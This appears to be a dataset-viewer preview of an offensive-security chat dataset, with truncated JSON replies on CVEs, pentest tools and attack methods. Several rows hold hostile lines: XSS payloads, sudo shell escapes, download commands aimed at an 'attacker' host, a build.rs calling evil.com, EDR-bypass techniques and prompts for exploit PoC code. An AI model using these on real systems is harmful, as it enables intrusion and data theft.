Datasets:
messages large_stringlengths 314 65k | model large_stringclasses 1
value | source large_stringclasses 14
values | session_id large_stringlengths 13 13 | quality_scores large_stringlengths 35 38 |
|---|---|---|---|---|
[{"role": "user", "content": "How does Sample Data 27 work?"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2014-0502\",\n \"vendorProject\": \"Adobe\",\n \"product\": \"Flash Player\",\n \"vulnerabilityName\": \"Adobe Flash Player Double Free Vulnerablity\",\n \"dateAdded\": \"2024-09-17\",\n \"shortDe... | multi-source-redteam | wnt3d-massive | rt-22e2805596 | {"overall": 0.5629, "source": "wnt3d"} |
[{"role": "user", "content": "Can you explain vulnerability qa pairs.json 6"}, {"role": "assistant", "content": "{\n \"question\": \"What is SSRF and why is it dangerous?\",\n \"answer\": \"Server-Side Request Forgery (SSRF) allows an attacker to make requests from a vulnerable server to internal or external resource... | multi-source-redteam | wnt3d-massive | rt-cef87bf236 | {"overall": 0.5435, "source": "wnt3d"} |
[{"role": "user", "content": "Why is exploitation guides important?"}, {"role": "assistant", "content": "{\n \"web_exploitation\": {\n \"sql_injection\": {\n \"tools\": [\n \"SQLMap\",\n \"Burp Suite\"\n ]\n },\n \"xss\": {\n \"types\": [\n \"Reflected\",\n \"Stored\... | multi-source-redteam | wnt3d-millions-training | rt-b922f7d90a | {"overall": 0.3836, "source": "wnt3d"} |
[{"role": "user", "content": "Tell me about mobile app testing"}, {"role": "assistant", "content": "{\n \"android_pentesting\": {\n \"title\": \"Android Application Security Testing\",\n \"difficulty\": \"intermediate_to_advanced\",\n \"setup\": {\n \"environment\": {\n \"requirements\": [\n ... | multi-source-redteam | wnt3d-massive | rt-78a13f66d4 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "What are the steps for Active Directory Attack?"}, {"role": "assistant", "content": "{\n \"objective\": \"Compromise Active Directory environment\",\n \"tools_needed\": [\n \"responder\",\n \"hashcat\",\n \"bloodhound\",\n \"mimikatz\"\n ],\n \"phases\": {\n \"enumeratio... | multi-source-redteam | wnt3d-massive | rt-560734782d | {"overall": 0.7338, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQ: How to use Scanner Configuration?"}, {"role": "assistant", "content": "A: {\n \"description\": \"Automated scanning setup\",\n \"scan_types\": [\n {\n \"type\": \"Crawl and audit\",\n \"when\": \"Complete application assessment\",\n \"configuration\": [\n ... | multi-source-redteam | wnt3d-massive | rt-1a3d9e708c | {"overall": 0.4947, "source": "wnt3d"} |
[{"role": "user", "content": "How does Vulnerability Qa Pairs.Json 17 work?"}, {"role": "assistant", "content": "{\n \"question\": \"What is a rugpull and how to identify one?\",\n \"answer\": \"A rugpull is when developers abandon a project and run away with investors' funds. Red flags include: 1) Anonymous team wit... | multi-source-redteam | wnt3d-massive | rt-d283433343 | {"overall": 0.5442, "source": "wnt3d"} |
[{"role": "user", "content": "Can you explain sample data 71"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2024-36401\",\n \"vendorProject\": \"OSGeo\",\n \"product\": \"GeoServer\",\n \"vulnerabilityName\": \"OSGeo GeoServer GeoTools Eval Injection Vulnerability\",\n \"dateAdded\": \"2024-07-15\",\n ... | multi-source-redteam | wnt3d-massive | rt-bd02bd15d9 | {"overall": 0.6909, "source": "wnt3d"} |
[{"role": "user", "content": "What is unsafe code vulnerabilities?"}, {"role": "assistant", "content": "{\n \"name\": \"Unsafe Code Exploitation\",\n \"severity\": \"Critical\",\n \"description\": \"Vulnerabilities in unsafe Rust code blocks\",\n \"patterns\": {\n \"raw_pointer_dereferencing\": {\n \"descri... | multi-source-redteam | wnt3d-millions-training | rt-29f1505ce9 | {"overall": 0.913, "source": "wnt3d"} |
[{"role": "user", "content": "Describe Preparation in detail"}, {"role": "assistant", "content": "{\n \"tools\": [\n \"searchsploit\",\n \"metasploit\",\n \"exploit-db\"\n ],\n \"workflow\": [\n \"1. Search for existing exploits\",\n \"2. Understand exploit requirements\",\n \"3. Prepare payload an... | multi-source-redteam | wnt3d-massive | rt-ded01d80ba | {"overall": 0.3935, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuestion: What is Sample Data 29?"}, {"role": "assistant", "content": "Answer: {\n \"cveID\": \"CVE-2013-0643\",\n \"vendorProject\": \"Adobe\",\n \"product\": \"Flash Player\",\n \"vulnerabilityName\": \"Adobe Flash Player Incorrect Default Permissions Vulnerability\",\n \"dat... | multi-source-redteam | wnt3d-massive | rt-15cca04294 | {"overall": 0.5974, "source": "wnt3d"} |
[{"role": "user", "content": "Tell me about purple team integration"}, {"role": "assistant", "content": "{\n \"description\": \"Collaborative approach between red and blue teams\",\n \"activities\": [\n \"Real-time detection feedback\",\n \"Control validation\",\n \"Detection engineering\",\n \"Threat hun... | multi-source-redteam | wnt3d-massive | rt-5d9808ccbe | {"overall": 0.3891, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nShow me examples of using Network Interception"}, {"role": "assistant", "content": "{\n \"proxy_setup\": [\n \"Configure device proxy to Burp\",\n \"Install Burp CA certificate\",\n \"Handle certificate pinning\"\n ],\n \"testing_areas\": [\n \"API endpoint sec... | multi-source-redteam | wnt3d-massive | rt-8ee3225b26 | {"overall": 0.4096, "source": "wnt3d"} |
[{"role": "user", "content": "What are the details of iot embedded?"}, {"role": "assistant", "content": "{\n \"description\": \"IoT and embedded device security tools\",\n \"tools\": {\n \"firmwalker\": {\n \"name\": \"Firmwalker\",\n \"description\": \"Firmware security analysis\",\n \"when_to_use\... | multi-source-redteam | wnt3d-millions-training | rt-6d0b1cbbcc | {"overall": 0.9308, "source": "wnt3d"} |
[{"role": "user", "content": "I need help with linux emacs/nano: how to select all text lines in a larger file and copy"}, {"role": "assistant", "content": "{\n \"title\": \"Linux emacs/nano: how to select all text lines in a larger file and copy\",\n \"body\": \"<p>I need to copy all text in large log files to clipb... | multi-source-redteam | wnt3d-massive | rt-6c7b30c94b | {"overall": 0.535, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nWhat are common use cases for Android?"}, {"role": "assistant", "content": "{\n \"static_analysis\": {\n \"tools\": [\n \"jadx\",\n \"apktool\",\n \"mobsf\"\n ],\n \"checks\": [\n \"Hardcoded secrets\",\n \"Insecure storage\",\n \"Code ... | multi-source-redteam | wnt3d-massive | rt-eaab8e4d58 | {"overall": 0.4683, "source": "wnt3d"} |
[{"role": "user", "content": "Explain and summarize ultimate_red_team_complete > vulnerabilities > rust > rust_vulnerabilities.json > cryptographic_vulnerabilities: Cryptographic Implementation Flaws"}, {"role": "assistant", "content": "{\n \"name\": \"Cryptographic Implementation Flaws\",\n \"severity\": \"Critical\... | multi-source-redteam | wnt3d-ultimate_red_team_complete.json | rt-01835f151a | {"overall": 0.7561, "source": "wnt3d"} |
[{"role": "user", "content": "When should I use Scada Ics Testing?"}, {"role": "assistant", "content": "{\n \"methodology\": \"SCADA/ICS Security Assessment\",\n \"considerations\": {\n \"safety_first\": [\n \"Understand safety systems\",\n \"Coordinate with operations\",\n \"Avoid service disruptio... | multi-source-redteam | wnt3d-massive | rt-3332d00bb5 | {"overall": 0.5794, "source": "wnt3d"} |
[{"role": "user", "content": "Explain and summarize tools_exploits_reference > tools > kali_tools > kali_tools_comprehensive.json > reporting > tools > pipal: PIPAL"}, {"role": "assistant", "content": "{\n \"name\": \"PIPAL\",\n \"description\": \"Password analyzer\",\n \"category\": \"Password Analysis\",\n \"when... | multi-source-redteam | wnt3d-tools_exploits_reference.json | rt-a297d12c39 | {"overall": 0.4533, "source": "wnt3d"} |
[{"role": "user", "content": "Security Knowledge\n\n{'title': 'How to get python to open an outside file?', 'body': '<p>I am writing a program for class that opens a file, counts the words, returns the number of words, and closes. I understand how to do everything excpet get the file to open and display the text This i... | multi-source-redteam | wnt3d-training-data | rt-fd95ea52c3 | {"overall": 0.6003, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nWhat are common use cases for Web3 Blockchain?"}, {"role": "assistant", "content": "{\n \"description\": \"Blockchain and smart contract security tools\",\n \"tools\": {\n \"mythril\": {\n \"name\": \"Mythril\",\n \"description\": \"Security analysis tool for E... | multi-source-redteam | wnt3d-massive | rt-68cb19db88 | {"overall": 0.9197, "source": "wnt3d"} |
[{"role": "user", "content": "Describe Cloud Security in detail"}, {"role": "assistant", "content": "{\n \"aws_pentesting\": {\n \"title\": \"AWS Security Assessment\",\n \"difficulty\": \"advanced\",\n \"reconnaissance\": {\n \"passive\": {\n \"techniques\": [\n \"DNS enumeration for S3 ... | multi-source-redteam | wnt3d-massive | rt-ef5f49f5ce | {"overall": 0.9164, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQ: How to use Vulnerability Qa Pairs.Json 2?"}, {"role": "assistant", "content": "A: {\n \"question\": \"What is the difference between reflected and stored XSS?\",\n \"answer\": \"Reflected XSS occurs when malicious scripts are immediately returned by a web application in an erro... | multi-source-redteam | wnt3d-massive | rt-6a9dc885eb | {"overall": 0.5358, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nWhat are common use cases for Wpscan?"}, {"role": "assistant", "content": "{\n \"name\": \"WPScan\",\n \"description\": \"WordPress vulnerability scanner\",\n \"category\": \"CMS Scanner\",\n \"when_to_use\": [\n \"WordPress security assessment\",\n \"Plugin vulnera... | multi-source-redteam | wnt3d-massive | rt-c9c1caf6b4 | {"overall": 0.6373, "source": "wnt3d"} |
[{"role": "user", "content": "I need help with prevention"}, {"role": "assistant", "content": "[\n \"Except for public resources, deny by default\",\n \"Implement access control mechanisms once and re-use throughout the application\",\n \"Model access controls should enforce record ownership\",\n \"Disable web serv... | multi-source-redteam | wnt3d-massive | rt-75cb942c65 | {"overall": 0.4269, "source": "wnt3d"} |
[{"role": "user", "content": "Vulnerability analysis\n\nWhat are the indicators of Types?"}, {"role": "assistant", "content": "{\n \"reflected_xss\": {\n \"description\": \"Non-persistent XSS attacks\",\n \"payloads\": [\n {\n \"basic\": \"<script>alert(1)</script>\",\n \"when\": \"No filterin... | multi-source-redteam | wnt3d-massive | rt-956e1431b2 | {"overall": 0.899, "source": "wnt3d"} |
[{"role": "user", "content": "Answer question\n\nHow does scope definitions work?"}, {"role": "assistant", "content": "{\n \"in_scope\": {\n \"criteria\": [\n \"Explicitly listed IP addresses/ranges\",\n \"Specified domain names\",\n \"Authorized applications\",\n \"Designated cloud resources\",... | multi-source-redteam | wnt3d-millions-final | rt-0463ccbcea | {"overall": 0.557, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nWhat are common use cases for Foundry?"}, {"role": "assistant", "content": "{\n \"description\": \"Smart contract development and testing\",\n \"tools\": {\n \"forge\": \"Testing and fuzzing\",\n \"cast\": \"Blockchain interaction\",\n \"anvil\": \"Local testnet\"\... | multi-source-redteam | wnt3d-massive | rt-4803738472 | {"overall": 0.5757, "source": "wnt3d"} |
[{"role": "user", "content": "Provide information about Wireshark"}, {"role": "assistant", "content": "{\n \"name\": \"Wireshark\",\n \"description\": \"Network protocol analyzer\",\n \"category\": \"Packet Analyzer\",\n \"when_to_use\": [\n \"Network troubleshooting\",\n \"Protocol analysis\",\n \"Packet ... | multi-source-redteam | wnt3d-massive | rt-194a9041a2 | {"overall": 0.549, "source": "wnt3d"} |
[{"role": "user", "content": "Conversation\n\nHow does item work?"}, {"role": "assistant", "content": "{\n \"question\": \"Explain defense in depth strategy\",\n \"answer\": \"Defense in depth is a layered security approach where multiple defensive mechanisms are placed throughout an IT system. If one mechanism fails... | multi-source-redteam | wnt3d-millions-training | rt-1f49926e02 | {"overall": 0.535, "source": "wnt3d"} |
[{"role": "user", "content": "What are the details of item?"}, {"role": "assistant", "content": "{\n \"question\": \"Explain integer overflow in Solidity contracts\",\n \"answer\": \"Integer overflow occurs when an arithmetic operation attempts to create a numeric value outside the range of the integer type. In Solid... | multi-source-redteam | wnt3d-millions-training | rt-3cb3d0575d | {"overall": 0.5259, "source": "wnt3d"} |
[{"role": "user", "content": "How does Edr Bypass work?"}, {"role": "assistant", "content": "{\n \"techniques\": [\n \"Direct syscalls\",\n \"Unhooking\",\n \"Parent process spoofing\",\n \"ETW patching\",\n \"AMSI bypass\"\n ],\n \"tools\": [\n \"SysWhispers\",\n \"HellsGate\",\n \"RefleXXio... | multi-source-redteam | wnt3d-massive | rt-1663c37c6e | {"overall": 0.3752, "source": "wnt3d"} |
[{"role": "user", "content": "Provide information about Cargo Fuzz"}, {"role": "assistant", "content": "{\n \"description\": \"LibFuzzer integration for Rust\",\n \"setup\": \"cargo install cargo-fuzz\",\n \"usage\": \"\\n// fuzz/fuzz_targets/fuzz_target_1.rs\\n#![no_main]\\nuse libfuzzer_sys::fuzz_target;\\n\\nfuzz... | multi-source-redteam | wnt3d-massive | rt-18c7bf5278 | {"overall": 0.4892, "source": "wnt3d"} |
[{"role": "user", "content": "What is Sample Data 69?"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2024-28995\",\n \"vendorProject\": \"SolarWinds\",\n \"product\": \"Serv-U\",\n \"vulnerabilityName\": \"SolarWinds Serv-U Path Traversal Vulnerability \",\n \"dateAdded\": \"2024-07-17\",\n \"shortDesc... | multi-source-redteam | wnt3d-massive | rt-905297d201 | {"overall": 0.5596, "source": "wnt3d"} |
[{"role": "user", "content": "Provide information about Sample Records 48"}, {"role": "assistant", "content": "{\n \"prompts\": {\n \"prompt\": \"ABUS Security Camera TVIP 20000-21150 - LFI_ RCE and SSH Root Access exploit: Generate Exploit PoC code\",\n \"response\": \"import requests\\nimport sys\\n\\ndef test... | multi-source-redteam | wnt3d-massive | rt-71012515d6 | {"overall": 0.7686, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuestion: What is Ransomware Attack On Healthcare System?"}, {"role": "assistant", "content": "Answer: {\n \"scenario_id\": \"sc_004\",\n \"title\": \"Ransomware Attack on Healthcare System\",\n \"description\": \"Ransomware group targets hospital network through phishing campaig... | multi-source-redteam | wnt3d-massive | rt-19f39c2869 | {"overall": 0.6986, "source": "wnt3d"} |
[{"role": "user", "content": "Explain Sample Records 10"}, {"role": "assistant", "content": "{\n \"prompts\": {\n \"prompt\": \"Sitecore - Remote Code Execution v8.2 vulnerability: Generate Exploit PoC code\",\n \"response\": \"# Save the code in a file named test_vulnerability.py\\n\\n# Run the program from the... | multi-source-redteam | wnt3d-massive | rt-205ff9f818 | {"overall": 0.4203, "source": "wnt3d"} |
[{"role": "user", "content": "How do I perform Purple Team Integration?"}, {"role": "assistant", "content": "{\n \"description\": \"Collaborative approach between red and blue teams\",\n \"activities\": [\n \"Real-time detection feedback\",\n \"Control validation\",\n \"Detection engineering\",\n \"Threat... | multi-source-redteam | wnt3d-massive | rt-b120252b13 | {"overall": 0.3891, "source": "wnt3d"} |
[{"role": "user", "content": "Tell me about item"}, {"role": "assistant", "content": "{\n \"question\": \"What are common NFT smart contract vulnerabilities?\",\n \"answer\": \"Common NFT vulnerabilities include: 1) Reentrancy in mint functions allowing multiple mints, 2) Weak randomness for rare trait generation, 3)... | multi-source-redteam | wnt3d-millions-training | rt-b918b8d254 | {"overall": 0.546, "source": "wnt3d"} |
[{"role": "user", "content": "Conversation\n\nExplain reverse engineering"}, {"role": "assistant", "content": "{\n \"binary_analysis\": {\n \"title\": \"Binary Reverse Engineering\",\n \"difficulty\": \"advanced\",\n \"static_analysis\": {\n \"tools\": {\n \"ghidra\": {\n \"description\":... | multi-source-redteam | wnt3d-millions-training | rt-e39b16c91a | {"overall": 0.9814, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuestion: What is Vulnerability Qa Pairs.Json 8?"}, {"role": "assistant", "content": "Answer: {\n \"question\": \"What is the principle of least privilege?\",\n \"answer\": \"The principle of least privilege states that every user, program, or process should have only the minimum ... | multi-source-redteam | wnt3d-massive | rt-64a6a7ecb1 | {"overall": 0.5182, "source": "wnt3d"} |
[{"role": "user", "content": "How does Specialized Methodologies.Json work?"}, {"role": "assistant", "content": "{\n \"cloud_security_testing\": {\n \"aws\": {\n \"methodology\": \"AWS Security Testing Approach\",\n \"phases\": {\n \"1_information_gathering\": {\n \"public_resources\": [\n... | multi-source-redteam | wnt3d-massive | rt-674a9cdcfb | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "Answer question\n\nExplain tool combinations"}, {"role": "assistant", "content": "{\n \"recon_chain\": {\n \"description\": \"Comprehensive reconnaissance workflow\",\n \"sequence\": [\n \"theharvester -> Gather emails/subdomains\",\n \"shodan -> Find exposed services\",\n... | multi-source-redteam | wnt3d-millions-final | rt-8c899aa906 | {"overall": 0.7422, "source": "wnt3d"} |
[{"role": "user", "content": "Explain Session Management"}, {"role": "assistant", "content": "{\n \"tests\": [\n \"Session Management Schema\",\n \"Cookie Attributes\",\n \"Session Fixation\",\n \"Exposed Session Variables\",\n \"CSRF\",\n \"Logout Functionality\",\n \"Session Timeout\",\n \"Se... | multi-source-redteam | wnt3d-massive | rt-5fdf86dab5 | {"overall": 0.381, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nShow me examples of using Cloud Penetration Testing"}, {"role": "assistant", "content": "{\n \"aws\": {\n \"tools\": [\n \"pacu\",\n \"scout_suite\",\n \"prowler\"\n ],\n \"methodology\": [\n \"Enumerate public resources\",\n \"Check S3 buck... | multi-source-redteam | wnt3d-massive | rt-909be55543 | {"overall": 0.5783, "source": "wnt3d"} |
[{"role": "user", "content": "What is Pestudio?"}, {"role": "assistant", "content": "{\n \"name\": \"PEStudio\",\n \"description\": \"PE file static analysis\",\n \"platform\": \"Windows\",\n \"when_to_use\": [\n \"PE file analysis\",\n \"Initial triage\",\n \"Static analysis\",\n \"Indicator extraction... | multi-source-redteam | wnt3d-massive | rt-e928f4c4de | {"overall": 0.4368, "source": "wnt3d"} |
[{"role": "user", "content": "How do I perform Active Reconnaissance?"}, {"role": "assistant", "content": "{\n \"description\": \"Direct target interaction\",\n \"techniques\": [\n \"Port scanning\",\n \"Service enumeration\",\n \"OS fingerprinting\",\n \"Banner grabbing\",\n \"Network mapping\"\n ],\... | multi-source-redteam | wnt3d-massive | rt-940eb7bcb2 | {"overall": 0.3961, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuery: Smart Contract Exploitation explanation"}, {"role": "assistant", "content": "Response: {\n \"name\": \"Smart Contract Exploitation\",\n \"objective\": \"Drain DeFi protocol\",\n \"chain\": [\n {\n \"phase\": \"Reconnaissance\",\n \"technique\": \"Code analysis... | multi-source-redteam | wnt3d-massive | rt-c847e17177 | {"overall": 0.5556, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQ: How to use Attack Chain Documentation?"}, {"role": "assistant", "content": "A: {\n \"initial_access\": {\n \"method\": \"How access was gained\",\n \"time\": \"Timestamp\",\n \"iocs\": \"Indicators of compromise\"\n },\n \"privilege_escalation\": {\n \"technique\":... | multi-source-redteam | wnt3d-massive | rt-8f2b5bbf47 | {"overall": 0.5614, "source": "wnt3d"} |
[{"role": "user", "content": "Explain Sudo Misconfigurations"}, {"role": "assistant", "content": "{\n \"description\": \"Exploiting sudo permissions\",\n \"techniques\": [\n {\n \"name\": \"sudo -l exploitation\",\n \"examples\": [\n \"sudo vim -c ':!/bin/bash'\",\n \"sudo less /etc/passwd ... | multi-source-redteam | wnt3d-massive | rt-119fa263e6 | {"overall": 0.4661, "source": "wnt3d"} |
[{"role": "user", "content": "Explain and summarize ultimate_red_team_complete > tools_and_usage > kali_tools > kali_tools_comprehensive.json > reporting > tools > dradis: Dradis"}, {"role": "assistant", "content": "{\n \"name\": \"Dradis\",\n \"description\": \"Collaboration and reporting framework\",\n \"category\... | multi-source-redteam | wnt3d-ultimate_red_team_complete.json | rt-ad330fc29b | {"overall": 0.4518, "source": "wnt3d"} |
[{"role": "user", "content": "Describe penetration testing phases"}, {"role": "assistant", "content": "{\n \"1_reconnaissance\": {\n \"description\": \"Information gathering about the target\",\n \"passive_recon\": {\n \"description\": \"Gathering information without direct interaction\",\n \"tools\": ... | multi-source-redteam | wnt3d-millions-training | rt-3ba47684b8 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuery: Sample Records 19 explanation"}, {"role": "assistant", "content": "Response: {\n \"prompts\": {\n \"prompt\": \"Generating PoC code for the vulnerability exploit details below within, ``` exploit\\n\\n```\\n# Exploit Title: Answerdev 1.0.3 - Account Takeover\\n# Date: Rep... | multi-source-redteam | wnt3d-massive | rt-9222fec335 | {"overall": 0.8989, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nHow do I troubleshoot Commix?"}, {"role": "assistant", "content": "{\n \"name\": \"Commix\",\n \"description\": \"Command injection exploiter\",\n \"category\": \"Command Injection Tool\",\n \"when_to_use\": [\n \"OS command injection testing\",\n \"Blind command in... | multi-source-redteam | wnt3d-massive | rt-bb0b23fec7 | {"overall": 0.5097, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nWhat are common use cases for File Transfer?"}, {"role": "assistant", "content": "{\n \"download\": {\n \"wget\": \"wget http://attacker/file\",\n \"curl\": \"curl -O http://attacker/file\",\n \"powershell\": \"powershell -c \\\"(New-Object Net.WebClient).DownloadFi... | multi-source-redteam | wnt3d-massive | rt-a2d9266ae0 | {"overall": 0.5754, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuery: Application explanation"}, {"role": "assistant", "content": "Response: {\n \"interfaces\": [\n \"Web interface\",\n \"Mobile application\",\n \"API security\",\n \"Cloud backend\"\n ],\n \"tests\": [\n \"Authentication bypass\",\n \"Authorization flaws\",... | multi-source-redteam | wnt3d-massive | rt-357a2ad839 | {"overall": 0.392, "source": "wnt3d"} |
[{"role": "user", "content": "Describe Android in detail"}, {"role": "assistant", "content": "{\n \"static_analysis\": {\n \"tools\": [\n \"jadx\",\n \"apktool\",\n \"mobsf\"\n ],\n \"checks\": [\n \"Hardcoded secrets\",\n \"Insecure storage\",\n \"Code obfuscation\",\n \"Pe... | multi-source-redteam | wnt3d-massive | rt-dc77d56615 | {"overall": 0.4683, "source": "wnt3d"} |
[{"role": "user", "content": "Provide information about Rust Exploit Techniques.Json"}, {"role": "assistant", "content": "{\n \"shellcode_development\": {\n \"rust_shellcode\": {\n \"description\": \"Writing shellcode in Rust\",\n \"example\": \"\\n#![no_std]\\n#![no_main]\\n\\n// Minimal shellcode in Rus... | multi-source-redteam | wnt3d-massive | rt-4763b3fdfe | {"overall": 0.8682, "source": "wnt3d"} |
[{"role": "user", "content": "What are the details of item?"}, {"role": "assistant", "content": "{\n \"description\": \"The OAuth implementation does not properly validate origins, allowing attackers to hijack sessions.\",\n \"vulnerability_type\": \"protocol\",\n \"severity\": \"high\",\n \"timestamp\": \"2025-08-... | multi-source-redteam | wnt3d-millions-training | rt-d5903e523c | {"overall": 0.3825, "source": "wnt3d"} |
[{"role": "user", "content": "Tool usage\n\nHow do I troubleshoot Sections?"}, {"role": "assistant", "content": "{\n \"basic_scanning\": {\n \"description\": \"Fundamental Nmap scanning techniques\",\n \"tutorials\": [\n {\n \"name\": \"Host Discovery\",\n \"objective\": \"Find live hosts on a... | multi-source-redteam | wnt3d-massive | rt-b079a9fc76 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "How does Critical Vulns 27 work?"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2014-0502\",\n \"vendorProject\": \"Adobe\",\n \"product\": \"Flash Player\",\n \"vulnerabilityName\": \"Adobe Flash Player Double Free Vulnerablity\",\n \"dateAdded\": \"2024-09-17\",\n \"shor... | multi-source-redteam | wnt3d-massive | rt-55b494ae1f | {"overall": 0.5629, "source": "wnt3d"} |
[{"role": "user", "content": "Answer question\n\nWhat is password attacks?"}, {"role": "assistant", "content": "{\n \"description\": \"Tools for password cracking and authentication attacks\",\n \"tools\": {\n \"john\": {\n \"name\": \"John the Ripper\",\n \"description\": \"Fast password cracker\",\n ... | multi-source-redteam | wnt3d-millions-final | rt-80aaf52f43 | {"overall": 0.8999, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQ: How to use Vulnerability Dataset.Json 27?"}, {"role": "assistant", "content": "A: {\n \"description\": \"The OAuth implementation does not properly validate origins, allowing attackers to hijack sessions.\",\n \"vulnerability_type\": \"protocol\",\n \"severity\": \"high\",\n ... | multi-source-redteam | wnt3d-massive | rt-64b705141c | {"overall": 0.3836, "source": "wnt3d"} |
[{"role": "user", "content": "What tools are used for Malicious Build Scripts?"}, {"role": "assistant", "content": "{\n \"vulnerable_code\": \"\\n// build.rs - Runs at compile time!\\nfn main() {\\n // Malicious build script can:\\n std::process::Command::new(\\\"curl\\\")\\n .args(&[\\\"http://evil.com/s... | multi-source-redteam | wnt3d-massive | rt-dbfac90a33 | {"overall": 0.4485, "source": "wnt3d"} |
[{"role": "user", "content": "Provide information about Exploit Chains.Json"}, {"role": "assistant", "content": "[\n {\n \"name\": \"Cyber Kill Chain\",\n \"phases\": [\n {\n \"phase\": \"Reconnaissance\",\n \"description\": \"Gathering information about the target\",\n \"techniques\": ... | multi-source-redteam | wnt3d-massive | rt-6f98587793 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "What is Critical Vulns 32?"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2024-43461\",\n \"vendorProject\": \"Microsoft\",\n \"product\": \"Windows\",\n \"vulnerabilityName\": \"Microsoft Windows MSHTML Platform Spoofing Vulnerability\",\n \"dateAdded\": \"2024-09-16\",\n ... | multi-source-redteam | wnt3d-massive | rt-63271e2fac | {"overall": 0.5985, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuestion: What is Mimikatz?"}, {"role": "assistant", "content": "Answer: {\n \"name\": \"Mimikatz\",\n \"description\": \"Windows credential extraction\",\n \"category\": \"Credential Dumper\",\n \"when_to_use\": [\n \"Password extraction\",\n \"Hash dumping\",\n \"Kerb... | multi-source-redteam | wnt3d-massive | rt-ba8bacec6c | {"overall": 0.4786, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQ: How to use Comprehensive Tutorials.Json?"}, {"role": "assistant", "content": "A: {\n \"metadata\": {\n \"collection_date\": \"2025-08-23T15:13:22.853225\",\n \"description\": \"Detailed tutorials and practical usage scenarios for security tools\",\n \"total_tutorials\":... | multi-source-redteam | wnt3d-massive | rt-7478577d50 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "Describe web exploits"}, {"role": "assistant", "content": "{\n \"sql_injection\": [\n \"Union\",\n \"Blind\",\n \"Time-based\",\n \"Error-based\"\n ],\n \"xss\": [\n \"Reflected\",\n \"Stored\",\n \"DOM\",\n \"Mutation\"\n ],\n \"ssrf\": [\n \"Cloud metadata... | multi-source-redteam | wnt3d-millions-training | rt-f7c3e6e099 | {"overall": 0.3924, "source": "wnt3d"} |
[{"role": "user", "content": "Conversation\n\nWhat is flash loan attacks?"}, {"role": "assistant", "content": "{\n \"name\": \"Flash Loan Attack Patterns\",\n \"severity\": \"Critical\",\n \"description\": \"Exploits using uncollateralized loans\",\n \"attack_template\": \"\\ncontract FlashLoanAttack {\\n functi... | multi-source-redteam | wnt3d-millions-training | rt-b99b858739 | {"overall": 0.7059, "source": "wnt3d"} |
[{"role": "user", "content": "Can you explain identification and authentication failures"}, {"role": "assistant", "content": "{\n \"rank\": 7,\n \"id\": \"A07:2021\",\n \"name\": \"Identification and Authentication Failures\",\n \"description\": \"Confirmation of user identity, authentication, and session managemen... | multi-source-redteam | wnt3d-massive | rt-cd6ea6d565 | {"overall": 0.8729, "source": "wnt3d"} |
[{"role": "user", "content": "Vulnerability analysis\n\nHow do I detect Crypto Hacks Comprehensive.Json?"}, {"role": "assistant", "content": "{\n \"major_incidents\": [\n {\n \"name\": \"Ronin Bridge Hack\",\n \"date\": \"2022-03-29\",\n \"amount_usd\": 625000000,\n \"type\": \"Bridge Exploit\",... | multi-source-redteam | wnt3d-massive | rt-e50507ca80 | {"overall": 1.0, "source": "wnt3d"} |
[{"role": "user", "content": "I need help with tactics"}, {"role": "assistant", "content": "[\n {\n \"tactic\": \"Initial Access\",\n \"techniques\": [\n \"Drive-by Compromise\",\n \"Exploit Public-Facing Application\",\n \"Phishing\",\n \"Supply Chain Compromise\",\n \"Valid Accounts\"\... | multi-source-redteam | wnt3d-massive | rt-55b51e295e | {"overall": 0.9124, "source": "wnt3d"} |
[{"role": "user", "content": "How do I perform Web Application Testing?"}, {"role": "assistant", "content": "{\n \"methodology\": \"OWASP Testing Guide\",\n \"phases\": {\n \"information_gathering\": {\n \"tools\": [\n \"burpsuite\",\n \"dirb\",\n \"gobuster\"\n ],\n \"tasks\": ... | multi-source-redteam | wnt3d-massive | rt-646ca604ab | {"overall": 0.6824, "source": "wnt3d"} |
[{"role": "user", "content": "Q&A\n\nQuery: Sample Records 12 explanation"}, {"role": "assistant", "content": "Response: {\n \"prompts\": {\n \"prompt\": \"Exploit PoC code for Smart Office Web 20.28 - Remote Information Disclosure (Unauthenticated) is generated\",\n \"response\": \"import argparse\\nimport subp... | multi-source-redteam | wnt3d-massive | rt-cb8d036d0f | {"overall": 0.5904, "source": "wnt3d"} |
[{"role": "user", "content": "Vulnerability analysis\n\nWhat are the indicators of Critical Vulns 18?"}, {"role": "assistant", "content": "{\n \"cveID\": \"CVE-2021-4043\",\n \"vendorProject\": \"Motion Spell\",\n \"product\": \"GPAC\",\n \"vulnerabilityName\": \"Motion Spell GPAC Null Pointer Dereference Vulnerabi... | multi-source-redteam | wnt3d-massive | rt-164c3cebdc | {"overall": 0.626, "source": "wnt3d"} |
